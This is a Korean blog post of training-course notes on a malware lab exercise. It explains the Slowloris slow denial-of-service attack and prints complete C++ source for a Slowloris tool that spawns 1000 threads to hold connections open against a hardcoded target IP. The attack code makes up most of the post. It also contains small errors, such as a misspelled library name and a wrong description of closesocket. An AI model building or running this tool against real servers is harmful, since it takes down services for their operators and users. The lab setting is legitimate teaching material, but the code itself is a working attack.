본문 바로가기
기타 교육/정보보호 컨설팅 전문가 양성과정

10 - 악성코드 분석 1(간단한 실습)

by Royal! 2021. 6. 9.
728x90
반응형

실습

 

1. 제작 - Slowloris(동물이름과 똑같다)

 

특징 : 엄청 느린 Dos 공격이다. 패킷의 Header를 계속 보내서 Session을 유지한다. 1대의 PC와 1대의 Server서버이면 크게 상관 없지만, 몇 만대의 PC가 계속 세션을 유지하면 서버에 과부하가 생긴다.

 

제작 환경 

Microsoft Visual  Studio 2019

C++ language  

 

제작 필수 API

WSAStartup() : WS2_32.dll을 사용 할 수 있도록 초기화 하는데 사용

gethostbyname() : IP주소를 알아낼때 사용

CreateThread() : Thread 생성

socket() : 데이터 전송에 사용되는 소켓을 생성

connect() : 서버에 연결

send() : 데이터 전송

Sleep() : 대기

Closesocket() : 이미지 삭제 


Debug 모드에서 Release모드로 속성을 바꿔야 한다.(용량 및 실행 여부 차이)

VS Studio에서 런타임 라이브러리에서 다중 스레드로 변경

 

코드 생성

 

#include<stdio.h>
#include<Winsock2.h>

#pragma comment(lib, "ws_32.lib")

DWORD WINAPI SlowlorisThread(PVOID p)
{
	SOCKET s;
	sockaddr_in* victim;

	char header[] = "GET /";
	char a = 'A';
	int n;

	victim = (sockaddr_in*)p;

	while (1)
	{
		s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		//소켓이 제대로 생성이 되었다면
		if (s != INVALID_SOCKET)
		{
			//접속 시도하고
			connect(s, (sockaddr*)victim, sizeof(sockaddr_in));
			//헤더 날림
			send(s, header, sizeof(header) * 1, 0);
			while (1)
			{
				n = send(s, &a, 1, 0);
				if (n == SOCKET_ERROR)
				{
					break;
				}
				//하나 날리고 쉬고 하나 날리고 쉬고를 반복
				Sleep(100);
			}

		}
	}
}


int main() {
	WSADATA WD;
	ULONG i;
	hostent* host;
	sockaddr_in victim;


	WSAStartup(0X202, &WD); /* 윈도우 소켓 사용준비 */

	char victim_ip[] = "192.168.10.1"; /*공격대상 ip입력 */

	host = gethostbyname(victim_ip);
	victim.sin_family = AF_INET;
	victim.sin_addr.S_un.S_addr = *(PULONG)host->h_addr;


	printf("\nCreating thrade for slowloris is attack\n");

	/* 공격 스레드 생성*/
	for (i = 0; i < 1000; i++)
	{
		CreateThread(NULL, 0, SlowlorisThread, &victim, 0, NULL);
	}
	printf("\nAttack started\n");
	printf("\nPlease ENTER anykey to stip attack\n");
	getchar();
	
	return 0;
}

 

 

이미지 Password(패스워드) : 감염


CyberCher

 

 

키값 a를 주고 192.168.10.1(공격 대상 서버)


악성 코드 분석 

사전지식

- 컴파일/디컴파일(컴파일된 exe를 다시 source로 만드는 것을 디컴파일)

- 어셈블리어 

- 레지스터

 

 

728x90
반응형

최근댓글

최근글

Royal! © 2024